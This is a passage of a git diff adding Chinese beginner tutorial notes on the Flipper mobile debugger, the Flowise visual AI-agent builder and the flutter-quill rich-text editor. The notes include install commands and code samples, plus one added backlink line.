+排查「插件不出现」时，先确认工具栏选中的是**哪一台设备**——很多坑是插件装在原生侧，却盯着 Metro 那一行。
+
+### 2. 插件（Plugin）是一等公民
+
+Flipper 不是单个工具，而是**插件宿主**：
+
+- **内置插件**：Logs、Layout Inspector、Network、Databases、Images、Crash Reporter、Shared Preferences 等。
+- **桌面插件**：在 Flipper UI 里渲染面板（TypeScript + React）。
+- **客户端插件**：嵌在 App 里（Java / Kotlin / Objective-C / Swift / JavaScript），通过 `FlipperClient` 注册，把数据 `send` 到桌面。
+
+数据流可以记成：
+
+```text
+App 内 Client Plugin  --send-->  Flipper Desktop Plugin  --render-->  开发者
+                ^                              |
+                +-------- receive / call -----+
+```
+
+### 3. 仅 Debug 构建
+
+Release 包**不应**也**不会**默认带 Flipper SDK——初始化代码通常放在 `src/debug/` 或通过 `FlipperUtils.shouldEnableFlipper()` 守卫。这既减小包体，也避免生产环境被误连调试器。
+
+### 4. 版本对齐
+
+Desktop 与 App 内 **Flipper SDK 版本**应对齐（如 `FLIPPER_VERSION=0.273.0` 与 Podfile 里 `FlipperKit` 版本一致）。版本错位时常见症状：设备列表为空、插件面板一直 Loading。
+
+## 安装与启动
+
+**最快体验（浏览器版，官方当前推荐路径）**：
+
+```bash
+# 需要 Node >= 18；本机已配置 Android SDK / adb 或 Xcode 模拟器
+npx flipper-server
+```
+
+浏览器会打开 Flipper UI。macOS 也可 `brew install --cask flipper` 安装运行时（仍会打开浏览器）。
+
+**Android 侧前置**：模拟器或 USB 调试已开启，`adb devices` 能看到设备。
+
+**iOS 侧前置**：模拟器或真机已信任，`idb` / Xcode 工具链可用。
+
+## 实践案例
+
+### 案例 1：React Native 项目启用 Flipper（0.62+ 模板默认已集成）
+
+RN 0.62 起 `react-native init` 生成的工程**默认带 Flipper**（仅 Debug）。典型工作流：
+
+```bash
+# 终端 1：启动 Flipper（或 npx flipper-server）
+open -a Flipper   # 若仍使用 v0.239.0 Electron 包
+
+# 终端 2：跑 App
+cd MyApp
+yarn ios    # 或 yarn android；首次 iOS 需在 ios/ 下 pod install
+```
+
+连上后默认可用插件包括：Layout Inspector、Network、Databases、Images、Shared Preferences、Crash Reporter、React DevTools、Metro Logs。
+
+**升级 SDK 版本**（与 Desktop 对齐）——Android 在 `android/gradle.properties`：
+
+```properties
+# 与 npm info flipper 查到的最新版保持一致（RN < 0.69 需注意兼容矩阵）
+FLIPPER_VERSION=0.273.0
+```
+
+然后在 `android/` 目录执行 `./gradlew clean`，重新编译 Debug 包。
+
+iOS（RN ≥ 0.69）在 `ios/Podfile` 片段：
+
+```ruby
+use_react_native!(
+  :path => config[:reactNativePath],
+  :flipper_configuration => FlipperConfiguration.enabled(
+    ['Debug'],
+    { 'Flipper' => '0.273.0' }
+  )
+)
+```
+
+执行 `pod install --repo-update` 后重装 App。
+
+### 案例 2：Android 原生 App 注册 Flipper 客户端（Debug 专用）
+
+官方推荐把 Flipper 初始化放在 `src/debug/java/...`，避免打进 Release。Kotlin 示例（摘自 RN Android 手动集成文档的简化版）：
+
+```kotlin
+// src/debug/java/com/example/ReactNativeFlipper.kt
+package com.example
+
+import android.content.Context
+import com.facebook.flipper.android.AndroidFlipperClient
+import com.facebook.flipper.android.utils.FlipperUtils
+import com.facebook.flipper.plugins.inspector.DescriptorMapping
+import com.facebook.flipper.plugins.inspector.InspectorFlipperPlugin
+import com.facebook.react.ReactInstanceManager
+
+object ReactNativeFlipper {
+  fun initializeFlipper(context: Context, reactInstanceManager: ReactInstanceManager) {
+    if (FlipperUtils.shouldEnableFlipper(context)) {
+      val client = AndroidFlipperClient.getInstance(context)
+      client.addPlugin(
+        InspectorFlipperPlugin(context, DescriptorMapping.withDefaults())
+      )
+      // 还可 addPlugin：NetworkFlipperPlugin、DatabasesFlipperPlugin 等
+      client.start()
+    }
+  }
+}
+```
+
+`MainApplication.onCreate()` 里仅在 Debug 反射调用（这样 release 源码树甚至不需要这个类）：
+
+```java
+if (BuildConfig.DEBUG) {
+  try {
+    Class<?> flipperClass = Class.forName("com.example.ReactNativeFlipper");
+  flipperClass
+      .getMethod("initializeFlipper", Context.class, ReactInstanceManager.class)
+      .invoke(null, this, getReactNativeHost().getReactInstanceManager());
+  } catch (Exception e) {
+    e.printStackTrace();
+  }
+}
+```
+
+启动模拟器 → 运行 Debug 包 → 打开 Flipper → 左侧选中设备 → 点 **Layout** 即可在 UI 树上点选 View。
+
+### 案例 3：用 JavaScript 写 RN 自定义插件
+
+无需写原生代码即可把业务数据推到 Flipper 面板。App 侧安装 `react-native-flipper` 后：
+
+```javascript
+// App.tsx 或 debug-only 入口
+import { addPlugin } from 'react-native-flipper';
+
+addPlugin({
+  getId() {
+    return 'MyTeamFeatureFlags';
+  },
+  onConnect(connection) {
+  // Desktop 插件连上时，把当前功能开关快照推过去
+    connection.send('flagsSnapshot', {
+      newCheckout: true,
+      darkModeExperiment: false,
+    });
+
+    connection.receive('setFlag', (payload) => {
+      // 接收 Desktop 发来的指令，例如强制打开某开关做 QA
+      console.log('Flipper set flag:', payload.name, payload.value);
+    });
+  },
+  onDisconnect() {
+    // 桌面关闭插件 tab 时清理
+  },
+});
+```
+
+桌面侧需要配套插件（TypeScript），`getId()` 与 `devicePlugin` 的 id 一致。官方教程仓库里有 **Tic-Tac-Toe** 示例：`react-native/ReactNativeFlipperExample` + `desktop/plugins/public/rn-tic-tac-toe`，演示 `connection.send` / `receive` 双向通信。
+
+## 内置插件速查
+
+| 插件 | 用途 |
+|------|------|
+| **Logs** | 过滤、搜索 Logcat / OSLog，比终端滚动舒服 |
+| **Layout Inspector** | 原生视图树、属性、截图 |
+| **Network** | 拦截 App 内 HTTP(S)（需信任 Flipper 证书时按文档配置） |
+| **Databases** | 浏览 SQLite 等 |
+| **Shared Preferences / User Defaults** | 看键值存储 |
+| **Images** | 缓存图片检查 |
+| **Crash Reporter** | 崩溃栈聚合 |
+| **React DevTools** | RN 组件树、props / state（仅旧版 Flipper + RN） |
+
+## 常见问题
+
+1. **侧边栏没有 App**：确认是 **Debug 构建**；Release 不会连上。Android 检查 `adb devices`；iOS 检查模拟器是否启动。
+2. **RN 只看到 Metro、看不到真机插件**：Metro 要跑着；同时要在设备列表里选 **物理机/模拟器** 那一行，不是只选 "React Native"。
+3. **插件装了但不显示**：桌面 Plugin Manager 是否安装对应 desktop 包；App 是否 `pod install` / 重启；**设备选择**是否正确。
+4. **Hermes Debugger 空白**：关闭其他 React DevTools 实例；保证只有一个 RN App 在跑；不要同时开「Remote JS Debugging」老式调试。
+5. **新版本 Flipper 连不上老项目**：锁定 Desktop **v0.239.0** 并与 `FLIPPER_VERSION` / Podfile 对齐。
+
+## 与同类工具对比
+
+| 工具 | 定位 | 和 Flipper 的关系 |
+|------|------|-------------------|
+| **Android Studio Layout Inspector** | 官方 UI 调试 | 功能重叠；Flipper 跨 iOS/Android 统一入口 |
+| **Charles / Proxyman** | 系统级抓包 | Network 插件更贴进程，但 HTTPS 解密配置各有门槛 |
+| **Reactotron** | RN 专用 | 社区有 Flipper 插件移植版 |
+| **Chrome DevTools** | Web / 远程 JS 调试 | RN 新架构更偏向 Hermes / Fusebox 路线，Flipper RN 支持已冻结 |
+
+## 学习路径建议
+
+1. **零基础**：装 v0.239.0 或 `npx flipper-server` → 跑官方 `iOS/Sample` 或 `sample` Android 工程 → 点一遍 Logs / Layout / Network。
+2. **RN 维护者**：对齐 `FLIPPER_VERSION` → 分清 Metro 设备 vs 真机设备 → 读 [fbflipper.com/docs](https://fbflipper.com/docs/getting-started) 故障排除页。
+3. **进阶**：读 `Building a Desktop Plugin` + `Building a React Native Plugin` → 给团队做一个「环境切换 / Mock API」插件。
+4. **新项目选型**：原生移动仍可用 Flipper；**RN 新项目**应关注 Meta 新调试工具与 Expo 文档，Flipper 作历史参考即可。
+
+## 小结
+
+Flipper 的核心价值不是某一个面板，而是 **「可插拔的移动调试操作系统」**：统一设备连接、插件协议和 UI 壳。零基础记住三句话就够：
+
+1. **电脑开 Flipper，手机跑 Debug App，两边版本对齐。**
+2. **日志 / 布局 / 网络 / 数据库，都是插件；缺能力就写插件。**
+3. **RN 生态正在迁移，学架构思想比追最新版号更重要。**
+
+官方文档：[Getting Started](https://fbflipper.com/docs/getting-started) · [React Native](https://fbflipper.com/docs/features/react-native) · [Plugin Tutorial](https://fbflipper.com/docs/tutorial/react-native)
diff --git a/src/content/docs/projects/flowise.md b/src/content/docs/projects/flowise.md
new file mode 100644
index 000000000..9792dafde
--- /dev/null
+++ b/src/content/docs/projects/flowise.md
@@ -0,0 +1,198 @@
+---
+title: Flowise 零基础学习笔记
+来源: https://github.com/FlowiseAI/Flowise
+日期: 2026-06-13
+分类: 机器学习
+子分类: 数据科学与 AI
+provenance: pipeline-v3
+---
+
+# Flowise 零基础学习笔记
+
+## 什么是 Flowise？
+
+想象你要搭一个乐高模型。不用一颗一颗地拼积木，而是已经有了一整套「智能积木」：每块积木负责一件事——有的会查资料，有的会写代码，有的会回答问题。你只需要把这些积木用线连起来，一个智能程序就建成了。
+
+Flowise 就是这样一套「智能积木」平台。它是一个开源项目，让你用拖拽的方式构建 AI 智能体（AI Agent）和工作流（Workflow），不需要写代码。
+
+核心定位：Build AI Agents, Visually（可视化构建 AI 智能体）。
+
+GitHub Star 数超过 53k，是目前最流行的开源 AI 工作流平台之一。
+
+## 为什么需要 Flowise？
+
+在 Flowise 出现之前，如果你想在应用里接一个 AI 聊天机器人，需要：
+
+1. 写代码调用 OpenAI API
+2. 自己管理对话历史
+3. 自己实现 RAG（检索增强生成，让 AI 能回答你公司文档里的问题）
+4. 自己处理错误、日志、部署
+
+Flowise 把上面所有这些事都变成了「拖拽积木」的操作。
+
+## 核心概念
+
+### 1. 三种构建器
+
+Flowise 提供了三种不同层级的可视化构建器，从简单到复杂：
+
+- **Assistant（助手）** — 最简单的入门方式。创建智能对话助手，它能遵循指令、使用工具、读取上传的文件来回答问题。适合零基础用户。
+- **Chatflow（对话流）** — 更灵活的方式。可以构建单智能体系统、聊天机器人和简单 LLM 流程。支持高级技术如 Graph RAG、Reranker 等。
+- **Agentflow（智能体流）** — 最强大的方式。是前两者的超集，可以创建多智能体系统和复杂的工作流编排。
+
+### 2. Nodes（节点）
+
+节点是 Flowise 的基本组件。每个节点做一件事：
+
+- **LLM 节点** — 调用大语言模型（OpenAI、Anthropic、Ollama 等）
+- **Chain 节点** — 把多个步骤串起来执行
+- **Memory 节点** — 保存对话历史
+- **Tool 节点** — 给 AI 提供工具（搜索、计算器、文件读写等）
+- **Vector Store 节点** — 存储和检索向量数据（用于 RAG）
+- **Document Loader 节点** — 从各种来源加载文档（PDF、网页、数据库等）
+
+### 3. Connections（连线）
+
+用线把节点连起来，数据就从上游流到下游。就像水管一样，水（数据）从水源（输入）经过过滤器（处理）从水龙头（输出）流出来。
+
+### 4. RAG（检索增强生成）
+
+RAG 是 AI 领域的重要概念。简单说：当用户提问时，系统先在自己的「知识库」里查找相关信息，然后把这些信息连同问题一起交给 AI，AI 基于查找到的信息来回答。这样 AI 就能回答它「训练时不知道」的最新知识。
+
+### 5. MCP（Model Context Protocol）
+
+MCP 是 AI 智能体与外部世界交互的协议。Flowise 内置了 MCP 客户端和服务端节点，让 AI 可以调用外部工具和服务。
+
+## 安装与启动
+
+### 方式一：npm 全局安装（最快）
+
+```bash
+npm install -g flowise
+npx flowise start
+```
+
+然后在浏览器打开 http://localhost:3000 即可使用。
+
+### 方式二：Docker 部署
+
+```bash
+# 构建镜像
+docker build --no-cache -t flowise .
+
+# 运行容器
+docker run -d --name flowise -p 3000:3000 flowise
+
+# 停止
+docker stop flowise
+```
+
+### 方式三：从源码开发
+
+```bash
+git clone https://github.com/FlowiseAI/Flowise.git
+cd Flowise
+npm i -g pnpm
+pnpm install
+pnpm build
+pnpm start
+```
+
+## 实际使用示例
+
+### 示例一：搭建一个「公司文档问答机器人」
+
+这个场景很常见：公司有大量产品文档，你想让 AI 能根据这些文档回答客户问题。这就是典型的 RAG 应用。
+
+在 Flowise 中，你只需要把以下节点用线连起来：
+
+```
+[PDF 文件] → [文档分割器] → [文本嵌入模型] → [向量数据库]
+                                                        ↓
+[用户提问] → [向量数据库检索] → [提示词模板] → [大语言模型] → [回答]
+```
+
+一步步解释：
+
+1. **PDF 文件节点** — 上传你的产品手册
+2. **文档分割器节点** — 把大文件切成小段（因为 AI 一次不能读太长）
+3. **文本嵌入模型节点** — 把每段文字变成数学向量（可以理解为一组数字，意义相近的文字数字也接近）
+4. **向量数据库节点** — 存这些向量（支持 PostgreSQL、Pinecone、Chroma 等多种数据库）
+5. **向量数据库检索节点** — 当用户提问时，找到与问题最相似的文档片段
+6. **提示词模板节点** — 把「用户问题 + 检索到的文档片段」组合成一句话
+7. **大语言模型节点** — 调用 GPT-4 或 Claude 来生成最终答案
+
+整个过程不需要写一行代码，纯靠拖拽和连线。
+
+### 示例二：通过 API 调用你的 AI 流程
+
+Flowise 构建的每个流程都有对应的 REST API。启动后你可以直接用 curl 调用：
+
+```bash
+# 预测接口 — 发送消息并获取回答
+curl -X POST http://localhost:3000/api/v1/prediction/chatflow/<YOUR_FLOW_ID> \
+  -H "Content-Type: application/json" \
+  -d '{
+    "question": "你们的产品支持哪些部署方式？",
+    "history": [
+      ["human", "你好"],
+      ["ai", "你好！有什么可以帮你的？"]
+    ]
+  }'
+
+# 回复示例
+# {
+#   "text": "Flowise 支持多种部署方式，包括：自托管（AWS、Azure、GCP、Digital Ocean）、Docker、Railway、Render、Hugging Face Spaces 等...",
+#   "isStreaming": false,
+#   "sourceDocuments": [...]
+# }
+```
+
+关键：`<YOUR_FLOW_ID>` 是在 Flowise 界面中创建流程后自动生成的 ID。
+
+API 接口一览：
+
+| 接口 | 功能 |
+|------|------|
+| `/api/v1/assistants/` | 管理 AI 助手 |
+| `/api/v1/chatflows/` | 管理对话流程 |
+| `/api/v1/prediction/` | 发送消息获取回答 |
+| `/api/v1/vector/upsert/` | 上传向量数据 |
+| `/api/v1/variables/` | 管理变量 |
+
+## 生态与集成
+
+Flowise 内置了大量第三方集成，覆盖了 AI 开发生态的各个角落：
+
+- **大模型**：OpenAI、Anthropic Claude、Google Gemini、Ollama（本地）、AWS Bedrock、Mistral 等
+- **向量数据库**：Pinecone、Weaviate、Chroma、PostgreSQL、MongoDB、Redis 等
+- **框架**：LangChain、LlamaIndex
+- **工具**：Google 搜索、计算器、文件读写、网页浏览、Gmail、Slack 等
+- **部署**：AWS、Azure、GCP、Railway、Docker 等
+- **监控**：Langfuse、Arize、Opik 等
+
+## 进阶能力
+
+当你对基础用法熟悉后，Flowise 还有更多高级功能：
+
+- **多智能体系统** — 让多个 AI 分工协作，比如一个负责搜索、一个负责写作、一个负责审核
+- **人机协同（Human in the Loop）** — 在关键步骤插入人工审批环节
+- **流式输出（Streaming）** — 让 AI 的回答像打字一样逐字显示，用户体验更好
+- **变量系统** — 在流程中存储和使用动态变量
+- **工作区（Workspaces）** — 团队协作，多人管理不同的流程
+
+## 总结
+
+Flowise 的核心价值可以用一句话概括：把 AI 应用的开发门槛从「需要写代码」降低到「会拖拽连线」即可。
+
+对于零基础学习者，建议学习路径：
+
+1. 安装 Flowise 本地版（`npm install -g flowise` 即可）
+2. 从 Assistant 模板开始，体验最简单的 AI 对话构建
+3. 尝试 Chatflow，自己连线搭建一个 RAG 问答系统
+4. 学习通过 API 调用你的流程
+5. 进阶学习多智能体和工作流编排
+
+---
+
+*本笔记来源：Flowise 官方 GitHub (https://github.com/FlowiseAI/Flowise) 及官方文档 (https://docs.flowiseai.com)*
diff --git a/src/content/docs/projects/flutter-quill.md b/src/content/docs/projects/flutter-quill.md
new file mode 100644
index 000000000..db6752fb6
--- /dev/null
+++ b/src/content/docs/projects/flutter-quill.md
@@ -0,0 +1,397 @@
+---
+title: flutter-quill — Flutter 跨平台富文本编辑器
+来源: 'https://github.com/singerdmx/flutter-quill'
+日期: 2026-06-13
+分类: 后端 API
+子分类: 移动端
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+**flutter-quill** 是 Flutter 生态里最常用的开源**富文本编辑器**（WYSIWYG：所见即所得）。日常类比：它像手机备忘录或 Notion 里那一整块「正文区 + 上方格式条」——你点 **B** 变粗体、下拉选标题、插图片，用户在 App 里排版；而你作为开发者，不必自己画几十个格式按钮、算光标偏移、维护选区状态，只要把 `QuillEditor` 和 `QuillSimpleToolbar` 拼起来，中间用同一个 `QuillController` 绑住就行。
+
+底层数据格式叫 **Quill Delta**：文档不是存一整段 HTML，而是存一串 JSON 操作（插入文字、加粗、换行、嵌入图片等）。这和 Web 端著名的 [Quill.js](https://quilljs.com/) 同源；Flutter 版由 [singerdmx/flutter-quill](https://github.com/singerdmx/flutter-quill) 维护（GitHub 约 2.9k star），支持 **Android、iOS、Web、Windows、macOS、Linux**。
+
+最小可用界面：
+
+```dart
+QuillSimpleToolbar(
+  controller: _controller,
+  config: const QuillSimpleToolbarConfig(),
+),
+Expanded(
+  child: QuillEditor.basic(
+    controller: _controller,
+    config: const QuillEditorConfig(),
+  ),
+),
+```
+
+工具栏和编辑区像「遥控器和电视」——必须配对**同一个** `QuillController`，否则点加粗毫无反应。
+
+## 为什么重要
+
+做笔记 App、社区发帖、工单描述、邮件草稿、CMS 移动端，几乎都会遇到「用户要排版，不能只给 `<TextField>`」。自己从零实现会踩这些坑：
+
+- **选区与格式**：光标在中间时加粗，只应作用选中文本；跨段落、跨 embed 时光标逻辑极繁。
+- **跨平台输入法**：软键盘、物理键盘、Web 粘贴、桌面剪贴板行为不一致。
+- **持久化格式**：存纯文本丢格式；存 HTML 再转回来结构对不齐；**Delta JSON 是官方推荐路径**。
+
+flutter-quill 把这些打包成可定制组件，并有 `flutter_quill_extensions`（图片/视频 embed）、`flutter_quill_test`（测试辅助）等周边包。若团队 Web 端已在用 Quill/ReactQuill，Flutter 端格式互通成本最低。
+
+## 核心要点
+
+把 flutter-quill 想成四层：
+
+1. **QuillController**：文档的「大脑」。持有 `Document`，响应编辑、暴露 `readOnly`、支持 `undo`/`redo`，必须在 `dispose()` 里释放。类比 Word 里那份文档的内存句柄。
+2. **Document + Delta**：内容的真相来源。`document.toDelta()` 导出变更序列；`Document.fromJson(...)` 从 JSON 还原。推荐**数据库里存 Delta JSON**，而不是 HTML（往返转换会丢结构，官方 README 明确不推荐以 HTML 为主存储）。
+3. **QuillSimpleToolbar / QuillEditor**：UI 层。Toolbar 配置哪些按钮出现（字号、颜色、列表、链接等）；Editor 负责渲染与输入。桌面端常配 `FocusNode` + `ScrollController`，点工具栏后把焦点拉回编辑区。
+4. **Embed Blocks**：图片、视频、自定义卡片等非纯文本块。核心包只定义接口；图片/视频实现放在 `flutter_quill_extensions`。
+
+Delta 长什么样（概念上）：
+
+```json
+[
+  {"insert": "Hello "},
+  {"insert": "World", "attributes": {"bold": true}},
+  {"insert": "\n", "attributes": {"header": 1}}
+]
+```
+
+每条 `insert` 是一段文字或 embed；`attributes` 是粗体、斜体、标题级别等。整篇文档就是 ops 数组——紧凑、可 diff、适合协作类场景扩展。
+
+### 关键 API 速查
+
+| API | 作用 |
+|-----|------|
+| `QuillController.basic()` | 创建空文档 |
+| `document.toDelta().toJson()` | 导出 Delta JSON |
+| `Document.fromJson(list)` | 从 JSON 恢复 |
+| `document.toPlainText()` | 纯文本（搜索引用，勿当唯一存储） |
+| `controller.readOnly = true` | 只读预览 |
+| `controller.formatText(i, len, attr)` | 代码里改格式 |
+
+## 安装与 App 壳配置
+
+```yaml
+# pubspec.yaml
+dependencies:
+  flutter_quill: ^11.0.0   # 以 pub.dev 当前稳定版为准
+  flutter_localizations:
+    sdk: flutter
+```
+
+```bash
+flutter pub add flutter_quill
+```
+
+工具栏文案要跟随系统语言，需在 `MaterialApp` 注册本地化 delegate：
+
+```dart
+import 'package:flutter_quill/flutter_quill.dart';
+import 'package:flutter_localizations/flutter_localizations.dart';
+
+MaterialApp(
+  localizationsDelegates: const [
+    GlobalMaterialLocalizations.delegate,
+    GlobalCupertinoLocalizations.delegate,
+    GlobalWidgetsLocalizations.delegate,
+    FlutterQuillLocalizations.delegate,
+  ],
+  // ...
+);
+```
+
+依赖链还包括 `url_launcher`（打开链接）、`quill_native_bridge`（平台剪贴板/原生桥）、`flutter_keyboard_visibility_temp_fork`（键盘显隐）。Android 若要把编辑器内图片复制到系统剪贴板供其他 App 使用，需按 README 配置 `FileProvider`（可选）。
+
+## 实践案例
+
+### 案例 1：StatefulWidget 里搭完整编辑页（含存盘）
+
+```dart
+import 'dart:convert';
+import 'package:flutter/material.dart';
+import 'package:flutter_quill/flutter_quill.dart';
+
+class NoteEditorPage extends StatefulWidget {
+  const NoteEditorPage({super.key});
+
+  @override
+  State<NoteEditorPage> createState() => _NoteEditorPageState();
+}
+
+class _NoteEditorPageState extends State<NoteEditorPage> {
+  late final QuillController _controller;
+  final FocusNode _focusNode = FocusNode();
+  final ScrollController _scrollController = ScrollController();
+
+  @override
+  void initState() {
+    super.initState();
+    _controller = QuillController.basic();
+  }
+
+  @override
+  void dispose() {
+    _controller.dispose();
+    _focusNode.dispose();
+    _scrollController.dispose();
+    super.dispose();
+  }
+
+  String exportJson() =>
+      jsonEncode(_controller.document.toDelta().toJson());
+
+  void importJson(String json) {
+    _controller.document =
+        Document.fromJson(jsonDecode(json) as List<dynamic>);
+  }
+
+  @override
+  Widget build(BuildContext context) {
+    return Scaffold(
+      appBar: AppBar(
+        title: const Text('写笔记'),
+        actions: [
+          IconButton(
+            icon: const Icon(Icons.save),
+            onPressed: () {
+              final saved = exportJson();
+              // 写入 SQLite / SharedPreferences / 后端 API
+              debugPrint(saved);
+            },
+          ),
+        ],
+      ),
+      body: Column(
+        children: [
+          QuillSimpleToolbar(
+            controller: _controller,
+            config: const QuillSimpleToolbarConfig(),
+          ),
+          const Divider(height: 1),
+          Expanded(
+            child: QuillEditor(
+              focusNode: _focusNode,
+              scrollController: _scrollController,
+              controller: _controller,
+              config: const QuillEditorConfig(
+                placeholder: '开始写点什么…',
+                padding: EdgeInsets.all(16),
+              ),
+            ),
+          ),
+        ],
+      ),
+    );
+  }
+}
+```
+
+**要点**：
+
+- `QuillController.basic()` 创建空文档；有草稿时用 `Document.fromJson` 恢复。
+- 保存时用 `jsonEncode(document.toDelta().toJson())`，不要只用 `toPlainText()`（会丢粗体、标题等）。
+- `readOnly` 可在预览模式设 `_controller.readOnly = true`，同一套 Widget 复用。
+- 桌面端点工具栏后可在 `afterButtonPressed` 里 `focusNode.requestFocus()`，避免焦点留在按钮上。
+
+### 案例 2：定制工具栏 + 只读预览
+
+发帖页往往不需要全部按钮，只要粗体、列表、链接：
+
+```dart
+QuillSimpleToolbar(
+  controller: _controller,
+  config: QuillSimpleToolbarConfig(
+    showAlignmentButtons: false,
+    showBackgroundColorButton: false,
+    showColorButton: false,
+    showFontFamily: false,
+    showFontSize: false,
+    showStrikeThrough: false,
+    showUnderLineButton: false,
+    customButtons: [
+      QuillToolbarCustomButtonOptions(
+        icon: const Icon(Icons.preview),
+        onPressed: () {
+          Navigator.push(
+            context,
+            MaterialPageRoute(
+              builder: (_) => PreviewPage(deltaJson: exportJson()),
+            ),
+          );
+        },
+      ),
+    ],
+  ),
+),
+```
+
+预览页再建一个 controller，加载 JSON 并只读：
+
+```dart
+class PreviewPage extends StatefulWidget {
+  const PreviewPage({super.key, required this.deltaJson});
+  final String deltaJson;
+
+  @override
+  State<PreviewPage> createState() => _PreviewPageState();
+}
+
+class _PreviewPageState extends State<PreviewPage> {
+  late final QuillController _preview;
+
+  @override
+  void initState() {
+    super.initState();
+    _preview = QuillController(
+      document: Document.fromJson(
+        jsonDecode(widget.deltaJson) as List<dynamic>,
+      ),
+      selection: const TextSelection.collapsed(offset: 0),
+    );
+    _preview.readOnly = true;
+  }
+
+  @override
+  void dispose() {
+    _preview.dispose();
+    super.dispose();
+  }
+
+  @override
+  Widget build(BuildContext context) {
+    return Scaffold(
+      appBar: AppBar(title: const Text('预览')),
+      body: QuillEditor.basic(
+        controller: _preview,
+        config: const QuillEditorConfig(),
+      ),
+    );
+  }
+}
+```
+
+同一套 `QuillEditor`，编辑/预览只差 `readOnly` 和数据是否从 JSON 灌入。
+
+### 案例 3：代码里插入内容 + 图片 embed
+
+保存前自动加签名，或从模板灌入段落：
+
+```dart
+void appendSignature(QuillController controller) {
+  final offset = controller.document.length - 1;
+  controller.document.insert(offset, '\n—— 发自 MyApp\n');
+  controller.updateSelection(
+    TextSelection.collapsed(offset: controller.document.length - 1),
+    ChangeSource.local,
+  );
+}
+
+// 对选区加粗（无选区则对当前行无效，需先检查 selection）
+void boldSelection(QuillController controller) {
+  final sel = controller.selection;
+  if (!sel.isValid || sel.isCollapsed) return;
+  controller.formatText(
+    sel.start,
+    sel.end - sel.start,
+    Attribute.bold,
+  );
+}
+```
+
+图片/视频需要 `flutter_quill_extensions`：
+
+```yaml
+dependencies:
+  flutter_quill_extensions: ^11.0.0
+```
+
+```dart
+import 'package:flutter_quill_extensions/flutter_quill_extensions.dart';
+
+QuillSimpleToolbar(
+  controller: _controller,
+  config: QuillSimpleToolbarConfig(
+    embedButtons: FlutterQuillEmbeds.toolbarButtons(),
+  ),
+),
+Expanded(
+  child: QuillEditor(
+    controller: _controller,
+    focusNode: _focusNode,
+    scrollController: _scrollController,
+    config: QuillEditorConfig(
+      embedBuilders: kIsWeb
+          ? FlutterQuillEmbeds.editorWebBuilders()
+          : FlutterQuillEmbeds.editorBuilders(),
+    ),
+  ),
+),
+```
+
+Web 还需配置 `webImagePickImpl`；Desktop 需 `filePickImpl`，否则图片按钮可能无反应。粘贴图片时可在 `QuillControllerConfig.clipboardConfig.onImagePaste` 里把字节存盘并返回 URL 字符串写入 Delta。
+
+## 输入输出与格式转换
+
+| 需求 | 推荐做法 |
+|------|----------|
+| 存数据库 | Delta JSON（`toDelta().toJson()`） |
+| 搜纯文本 | `document.toPlainText()` 建索引，展示仍用 Delta |
+| 分享 HTML | 用 `vsc_quill_delta_to_html` 等**导出时**再转，勿当主存储 |
+| 导入 Markdown | `markdown_quill` 双向转换 |
+| 导出 PDF | `flutter_quill_to_pdf` |
+| HTML → Delta 迁移 | `flutter_quill_delta_from_html` 一次性转换后改存 Delta |
+
+官方强调：**Delta → HTML → Delta 往返会丢信息**。迁移旧系统 HTML 可以一次性转成 Delta 入库，之后生命周期内都以 Delta 为准。
+
+## 平台差异（零基础常踩）
+
+- **Web**：图片 embed 需 `editorWebBuilders()` 和 `webImagePickImpl`；富文本粘贴目前 Web 支持有限（见 issue #1998、#2220）。
+- **Desktop**：工具栏插图片需实现 `filePickImpl`，否则图片按钮不可用。
+- **键盘**：依赖键盘可见性插件；真机调试比模拟器更能暴露软键盘顶起、滚动问题。
+- **版本迁移**：大版本（如 10→11）有 [migration guide](https://github.com/singerdmx/flutter-quill/blob/master/doc/migration/10_to_11.md)，升级前先看 breaking changes。当前稳定线约 **v11.5.x**。
+
+## 与同类方案怎么选
+
+| 方案 | 特点 |
+|------|------|
+| **flutter-quill** | Delta 模型、模块化、社区最大、Quill.js 同源 |
+| **fleather** | 基于 Parchment/Delta，偏轻量 |
+| **super_editor** | 可定制性极强，适合自建文档产品，学习曲线更陡 |
+
+若只要简单 Markdown 预览，可能 `flutter_markdown` + 纯文本编辑就够，不必上完整 WYSIWYG。
+
+## 常见坑
+
+1. **忘记 dispose controller** → 内存泄漏、热重载后行为异常。
+2. **Toolbar 和 Editor 用了两个 controller** → 点工具栏无效。
+3. **只存 plain text** → 用户排的版全丢。
+4. **把 HTML 当主存储再 parse 回来** → 列表、embed、嵌套格式对不齐。
+5. **没加 `FlutterQuillLocalizations.delegate`** → 工具栏 tooltip/文案异常。
+6. **Web/Desktop 图片** → 忘了 platform hook，表现为按钮无反应或 embed 空白。
+
+## 测试与扩展
+
+- 自动化测试可看 [flutter_quill_test](https://pub.dev/packages/flutter_quill_test)，目前能力有限，复杂交互仍建议 widget 测试 + 真机手测。
+- 自定义块（投票卡片、@用户、时间戳）：实现 [Custom Embed Blocks](https://github.com/singerdmx/flutter-quill/blob/master/doc/custom_embed_blocks.md) 里的 builder；官方 example 里有 `TimeStampEmbed` 可参考。
+- 读源码前可看 [Code Introduction](https://github.com/singerdmx/flutter-quill/blob/master/doc/code_introduction.md) 和 YouTube Playlist。
+
+## 小结
+
+flutter-quill 把「富文本编辑」拆成 **Controller（状态）+ Delta（数据）+ Toolbar/Editor（UI）**。零基础路径：
+
+1. `flutter pub add flutter_quill`，注册 `FlutterQuillLocalizations.delegate`。
+2. `QuillController.basic()` + 默认工具栏 + `QuillEditor`，跑通输入。
+3. 学会 **JSON 存盘/读盘**（`toDelta().toJson()` / `Document.fromJson`）。
+4. 按需裁剪工具栏、只读预览、embed 与平台配置。
+
+记住一句：**数据库里存 Delta JSON，HTML 只当导出格式**——这条能避开大部分生产事故。
+
+## 延伸阅读
+
+- 官方 README 与 [Sample Page 源码](https://github.com/singerdmx/flutter-quill/blob/master/example/lib/main.dart)
+- [Quill Delta 格式说明](https://quilljs.com/docs/delta/)
+- pub.dev：[flutter_quill](https://pub.dev/packages/flutter_quill) · [flutter_quill_extensions](https://pub.dev/packages/flutter_quill_extensions)
diff --git a/src/content/docs/projects/flutter-rust-bridge.md b/src/content/docs/projects/flutter-rust-bridge.md
index 18da4f188..92844c05e 100644
--- a/src/content/docs/projects/flutter-rust-bridge.md
+++ b/src/content/docs/projects/flutter-rust-bridge.md
@@ -196,5 +196,9 @@ await for (final msg in client.subscribe()) {
 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
-（暂无反向链接）
+- [[flutter]] —— Flutter — Google 自绘像素的跨平台 UI 框架
